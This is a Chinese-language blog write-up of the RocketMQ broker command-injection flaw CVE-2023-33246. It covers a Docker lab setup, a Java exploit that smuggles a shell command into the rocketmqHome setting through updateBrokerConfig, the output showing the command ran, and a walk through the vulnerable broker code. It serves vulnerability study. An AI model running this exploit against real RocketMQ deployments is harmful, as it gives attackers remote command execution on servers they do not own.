前言
55555.
环境搭建
根据参考文章,可以直接使用docker搭建环境:
docker pull apache/rocketmq:4.9.1
docker pull apacherocketmq/rocketmq-console:2.0.0
看起来是一个RocketMQ镜像,一个控制台镜像。
根据参考文章的描述,RocketMQ主要由Name Server和两个Broker组成,实验环境中为了方便搭建,将一个Broker当成两个来用。
首先启动Name Server镜像:
docker run -d --name namesrv -p 9876:9876 apache/rocketmq:4.9.1 sh mqnamesrv
mqnamesrv是默认目录下的一个shell脚本,负责启动Name Server服务:
sh ${ROCKETMQ_HOME}/bin/runserver.sh org.apache.rocketmq.namesrv.NamesrvStartup $@
然后编写broker.conf文件配置Broker:
brokerClusterName = DefaultCluster
brokerName = broker-a
brokerId = 0
deleteWhen = 04
fileReservedTime = 48
brokerRole = ASYNC_MASTER
flushDiskType = SYNC_FLUSH
brokerIP1 = 192.168.88.129
将权限设置为Master,简单来说就是该Broker拥有读写权限,将brokerIP1设置为访问IP。再启动Broker镜像,将该配置文件映射进去:
docker run -d -p 10911:10911 -p 10909:10909 -v /home/aluvion/桌面/rocketmq/broker.conf:/opt/rocketmq/conf/broker.conf --name broker --link namesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:4.9.1 sh mqbroker -c /opt/rocketmq/conf/broker.conf
mqbroker也是默认目录下的一个shell脚本,负责启动Broker服务:
sh ${ROCKETMQ_HOME}/bin/runbroker.sh org.apache.rocketmq.broker.BrokerStartup $@
最后启动Console控制台镜像:
docker run -dit --name console -p 8080:8080 --link namesrv:namesrv -e "JAVA_OPTS=-Drocketmq.config.namesrvAddr=namesrv:9876 -Drocketmq.config.isVIPChannel=false" apacherocketmq/rocketmq-console:2.0.0
为了测试实验环境,先整个项目来运行利用代码,需要的依赖:
<!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools -->
<dependency>
<groupId>org.apache.rocketmq</groupId>
<artifactId>rocketmq-tools</artifactId>
<version>5.1.3</version>
</dependency>
仿照Github上的利用工具:
Properties props = new Properties();
String ip = "192.168.88.129";
props.setProperty("rocketmqHome", "-c $@|sh . echo echo 123 > /tmp/Pwn;");
props.setProperty("filterServerNums", "1");
DefaultMQAdminExt admin = new DefaultMQAdminExt();
admin.setNamesrvAddr(ip + ":9876");
admin.start();
admin.updateBrokerConfig(ip + ":10911", props);
admin.shutdown();
System.out.println("攻击已结束!请稍后查看结果!");
关于命令为什么能跑,可以看这篇文章,运行后看到命令成功执行:
[rocketmq@83633e592271 bin]$ cat /tmp/Pwn
123
看起来环境搭建成功了,这么看下来,好像控制台镜像没什么用。
漏洞分析
漏洞发生在Broker服务,找一找服务代码:
ps -ef -ww
在运行的进程中找到服务进程:
Djava.ext.dirs=/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.302.b08-0.el7_9.x86_64/jre/lib/ext:/home/rocketmq/rocketmq-4.9.1/bin/../lib -cp .:/home/rocketmq/rocketmq-4.9.1/bin/../conf: org.apache.rocketmq.broker.BrokerStartup
翻一下lib目录,找到可以的jar包rocketmq-broker-4.9.1.jar,弄到主机上导入IDEA中,开始分析。
根据修复补丁,可以看到主要的修改是删去了FilterServerUtil和FilterServerManager这两个类。
FilterServerUtil类的代码较少,主要内容为一个callShell函数:
public static void callShell(String shellString, InternalLogger log) {
Process process = null;
try {
String[] cmdArray = splitShellString(shellString);
process = Runtime.getRuntime().exec(cmdArray);
process.waitFor();
log.info("CallShell: <{}> OK", shellString);
}
...
}
逻辑很简单,就是调用Runtime执行传入的系统命令。
而FilterServerManager类代码多一些,在createFilterServer函数中存在调用FilterServerUtil.callShell函数的代码:
public void createFilterServer() {
int more = this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
String cmd = this.buildStartCommand();
for(int i = 0; i < more; ++i) {
FilterServerUtil.callShell(cmd, log);
}
}
命令由buildStartCommand函数构建:
String.format("sh %s/bin/startfsrv.sh %s", this.brokerController.getBrokerConfig().getRocketmqHome(), config)
将名为rocketmqHome的配置项拼接到命令模板中,因此若该配置项可控和函数调用链皆可控,就存在命令注入的风险。
继续往上寻找调用链,找到start函数:
public void start() {
this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() {
@Override
public void run() {
try {
FilterServerManager.this.createFilterServer();
} catch (Exception e) {
log.error("", e);
}
}
}, 1000 * 5, 1000 * 30, TimeUnit.MILLISECONDS);
}
可以看到,在start函数被调用后,每隔30秒createFilterServer函数就会被自动调用,因此如果能在运行过程中修改rocketmqHome配置项,就能通过其自动调用完成命令注入。
观察Broker的启动命令,找到BrokerStartup类的main函数,可以看到其调用了BrokerController.start函数:
if (this.filterServerManager != null) {
this.filterServerManager.start();
}
因此只需要修改rocketmqHome配置项就能实现命令注入,根据参考文章,客户端可以通过DefaultMQAdminExt类的updateBrokerConfig函数修改Broker的配置,其中就包括了rocketmqHome配置项。至此,漏洞利用链完成。
漏洞复现
如环境搭建中的漏洞测试代码。
参考
一文学会RocketMQ远程命令执行漏洞(CVE-2023-33246)
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!